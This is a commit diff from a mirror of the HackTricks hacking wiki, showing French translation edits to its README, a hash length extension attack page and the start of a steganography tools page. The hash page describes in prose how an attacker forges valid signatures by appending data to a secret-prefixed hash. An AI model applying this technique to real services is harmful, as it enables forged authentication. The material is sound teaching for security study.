mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
909dc27ca7
commit
3cc97510b7
86 changed files with 1244 additions and 2845 deletions
66
README.md
66
README.md
|
@ -2,25 +2,25 @@
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
_Les logos et le design animé de Hacktricks par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks logos & motion design par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking que j'ai apprise lors de CTF, d'applications de la vie réelle, en lisant des recherches et des nouvelles.**
|
**Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking/quoi que ce soit que j'ai appris des CTF, des applications de la vie réelle, en lisant des recherches et des nouvelles.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Pour commencer, suivez cette page où vous trouverez le **flux typique** que **vous devriez suivre lors d'un pentesting** d'une ou plusieurs **machines :**
|
Pour commencer, suivez cette page où vous trouverez le **flux typique** que **vous devriez suivre lors du pentesting** d'une ou plusieurs **machines :**
|
||||||
|
|
||||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Sponsors d'entreprise
|
## Corporate Sponsors
|
||||||
|
|
||||||
### [STM Cyber](https://www.stmcyber.com)
|
### [STM Cyber](https://www.stmcyber.com)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) est une grande entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
|
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
|
||||||
|
|
||||||
Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
|
@ -42,7 +42,7 @@ Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://b
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti** est la **première plateforme** de hacking éthique et de **bug bounty en Europe.**
|
**Intigriti** est la **première plateforme de hacking éthique et de bug bounty en Europe.**
|
||||||
|
|
||||||
**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||||
|
|
||||||
|
@ -81,77 +81,43 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et le test de pénétration**. Réalisez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance à la rédaction de rapports. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, pop shells, et s'amuser.
|
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et le test de pénétration**. Effectuez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, pop des shells et s'amuser.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [SerpApi](https://serpapi.com/)
|
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
SerpApi offre des API rapides et faciles en temps réel pour **accéder aux résultats des moteurs de recherche**. Ils extraient les moteurs de recherche, gèrent les proxies, résolvent les captchas et analysent toutes les données structurées riches pour vous.
|
|
||||||
|
|
||||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
|
|
||||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances, et d'autres éléments et fonctionnalités présents dans les résultats de recherche.
|
|
||||||
|
|
||||||
Les clients actuels de SerpApi incluent **Apple, Shopify, et GrubHub**.\
|
|
||||||
Pour plus d'informations, consultez leur [**blog**](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**playground**](https://serpapi.com/playground)**.**\
|
|
||||||
Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sign\_up)**.**
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### [WebSec](https://websec.nl/)
|
### [WebSec](https://websec.nl/)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **services de sécurité offensive** avec une approche **moderne**.
|
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **services de sécurité offensive** avec une approche **moderne**.
|
||||||
|
|
||||||
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits de Sécurité**, Formations de Sensibilisation, Campagnes de Phishing, Revue de Code, Développement d'Exploits, Externalisation d'Experts en Sécurité et bien plus encore.
|
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de sécurité, Formations de sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||||
|
|
||||||
Une autre chose intéressante à propos de WebSec est qu'à la différence de la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et [**blog**](https://websec.nl/blog/) !
|
Une autre chose intéressante à propos de WebSec est qu'à la différence de la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et à leur [**blog**](https://websec.nl/blog/) !
|
||||||
|
|
||||||
En plus de cela, WebSec est également un **soutien engagé de HackTricks.**
|
En plus de cela, WebSec est également un **soutien engagé de HackTricks.**
|
||||||
|
|
||||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## License & Disclaimer
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
Vérifiez-les dans :
|
||||||
|
|
||||||
Le principal objectif de WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
## Licence & Avertissement
|
|
||||||
|
|
||||||
Consultez-les dans :
|
|
||||||
|
|
||||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Statistiques Github
|
## Github Stats
|
||||||
|
|
||||||
![Statistiques Github de HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Image d'analyse de Repobeats")
|
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats analytics image")
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -159,7 +125,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,33 +1,20 @@
|
||||||
# Hash Length Extension Attack
|
# Hash Length Extension Attack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supportez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Résumé de l'attaque
|
## Résumé de l'attaque
|
||||||
|
|
||||||
|
@ -37,14 +24,14 @@ Imaginez un serveur qui **signe** certaines **données** en **ajoutant** un **se
|
||||||
* **Les données en clair**
|
* **Les données en clair**
|
||||||
* **L'algorithme (et il est vulnérable à cette attaque)**
|
* **L'algorithme (et il est vulnérable à cette attaque)**
|
||||||
* **Le remplissage est connu**
|
* **Le remplissage est connu**
|
||||||
* En général, un défaut est utilisé, donc si les 3 autres exigences sont remplies, cela l'est aussi
|
* En général, un par défaut est utilisé, donc si les 3 autres exigences sont remplies, cela l'est aussi
|
||||||
* Le remplissage varie en fonction de la longueur du secret + données, c'est pourquoi la longueur du secret est nécessaire
|
* Le remplissage varie en fonction de la longueur du secret + données, c'est pourquoi la longueur du secret est nécessaire
|
||||||
|
|
||||||
Alors, il est possible pour un **attaquant** d'**ajouter** des **données** et de **générer** une **signature** valide pour les **données précédentes + données ajoutées**.
|
Alors, il est possible pour un **attaquant** d'**ajouter** **des données** et de **générer** une **signature** valide pour les **données précédentes + données ajoutées**.
|
||||||
|
|
||||||
### Comment ?
|
### Comment ?
|
||||||
|
|
||||||
Fondamentalement, les algorithmes vulnérables génèrent les hachages en **hachant d'abord un bloc de données**, puis, **à partir** du **hachage précédemment** créé (état), ils **ajoutent le prochain bloc de données** et **le hachent**.
|
Fondamentalement, les algorithmes vulnérables génèrent les hachages en **hachant d'abord un bloc de données**, puis, **à partir** du **hachage** (état) **précédemment** créé, ils **ajoutent le prochain bloc de données** et **le hachent**.
|
||||||
|
|
||||||
Ensuite, imaginez que le secret est "secret" et que les données sont "data", le MD5 de "secretdata" est 6036708eba0d11f6ef52ad44e8b74d5b.\
|
Ensuite, imaginez que le secret est "secret" et que les données sont "data", le MD5 de "secretdata" est 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||||
Si un attaquant veut ajouter la chaîne "append", il peut :
|
Si un attaquant veut ajouter la chaîne "append", il peut :
|
||||||
|
@ -62,29 +49,19 @@ Si un attaquant veut ajouter la chaîne "append", il peut :
|
||||||
|
|
||||||
Vous pouvez trouver cette attaque bien expliquée sur [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
Vous pouvez trouver cette attaque bien expliquée sur [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supportez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,41 +1,33 @@
|
||||||
# Astuces de Stego
|
# Stego Tricks
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Groupe de sécurité Try Hard**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **Extraction de données à partir de fichiers**
|
## **Extraction de données à partir de fichiers**
|
||||||
|
|
||||||
### **Binwalk**
|
### **Binwalk**
|
||||||
|
|
||||||
Un outil pour rechercher des fichiers binaires pour des fichiers et des données cachés. Il est installé via `apt` et son code source est disponible sur [GitHub](https://github.com/ReFirmLabs/binwalk).
|
Un outil pour rechercher des fichiers binaires à la recherche de fichiers et de données cachés intégrés. Il s'installe via `apt` et sa source est disponible sur [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||||
```bash
|
```bash
|
||||||
binwalk file # Displays the embedded data
|
binwalk file # Displays the embedded data
|
||||||
binwalk -e file # Extracts the data
|
binwalk -e file # Extracts the data
|
||||||
binwalk --dd ".*" file # Extracts all data
|
binwalk --dd ".*" file # Extracts all data
|
||||||
```
|
```
|
||||||
### **Avant tout**
|
### **Foremost**
|
||||||
|
|
||||||
Récupère les fichiers en se basant sur leurs en-têtes et pieds de page, utile pour les images png. Installé via `apt` avec sa source sur [GitHub](https://github.com/korczis/foremost).
|
Récupère des fichiers en fonction de leurs en-têtes et pieds de page, utile pour les images png. Installé via `apt` avec sa source sur [GitHub](https://github.com/korczis/foremost).
|
||||||
```bash
|
```bash
|
||||||
foremost -i file # Extracts data
|
foremost -i file # Extracts data
|
||||||
```
|
```
|
||||||
|
@ -47,17 +39,17 @@ exiftool file # Shows the metadata
|
||||||
```
|
```
|
||||||
### **Exiv2**
|
### **Exiv2**
|
||||||
|
|
||||||
Similaire à exiftool, pour visualiser les métadonnées. Installable via `apt`, source sur [GitHub](https://github.com/Exiv2/exiv2), et possède un [site officiel](http://www.exiv2.org/).
|
Semblable à exiftool, pour la visualisation des métadonnées. Installable via `apt`, source sur [GitHub](https://github.com/Exiv2/exiv2), et a un [site officiel](http://www.exiv2.org/).
|
||||||
```bash
|
```bash
|
||||||
exiv2 file # Shows the metadata
|
exiv2 file # Shows the metadata
|
||||||
```
|
```
|
||||||
### **Fichier**
|
### **Fichier**
|
||||||
|
|
||||||
Identifier le type de fichier avec lequel vous travaillez.
|
Identifiez le type de fichier avec lequel vous traitez.
|
||||||
|
|
||||||
### **Chaînes de caractères**
|
### **Chaînes**
|
||||||
|
|
||||||
Extrait les chaînes de caractères lisibles des fichiers, en utilisant différents paramètres d'encodage pour filtrer la sortie.
|
Extrait des chaînes lisibles des fichiers, en utilisant divers paramètres d'encodage pour filtrer la sortie.
|
||||||
```bash
|
```bash
|
||||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||||
strings -n 6 file | head -n 20 # First 20 strings
|
strings -n 6 file | head -n 20 # First 20 strings
|
||||||
|
@ -69,23 +61,23 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
||||||
strings -e L -n 6 file # 32bit strings (little-endian)
|
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||||
```
|
```
|
||||||
### **Comparaison (cmp)**
|
### **Comparison (cmp)**
|
||||||
|
|
||||||
Utile pour comparer un fichier modifié avec sa version originale trouvée en ligne.
|
Utile pour comparer un fichier modifié avec sa version originale trouvée en ligne.
|
||||||
```bash
|
```bash
|
||||||
cmp original.jpg stego.jpg -b -l
|
cmp original.jpg stego.jpg -b -l
|
||||||
```
|
```
|
||||||
## **Extraction de données cachées dans du texte**
|
## **Extraction de données cachées dans le texte**
|
||||||
|
|
||||||
### **Données cachées dans les espaces**
|
### **Données cachées dans les espaces**
|
||||||
|
|
||||||
Des caractères invisibles dans des espaces en apparence vides peuvent dissimuler des informations. Pour extraire ces données, visitez [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
Des caractères invisibles dans des espaces apparemment vides peuvent cacher des informations. Pour extraire ces données, visitez [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||||
|
|
||||||
## **Extraction de données à partir d'images**
|
## **Extraction de données à partir d'images**
|
||||||
|
|
||||||
### **Identification des détails de l'image avec GraphicMagick**
|
### **Identification des détails d'image avec GraphicMagick**
|
||||||
|
|
||||||
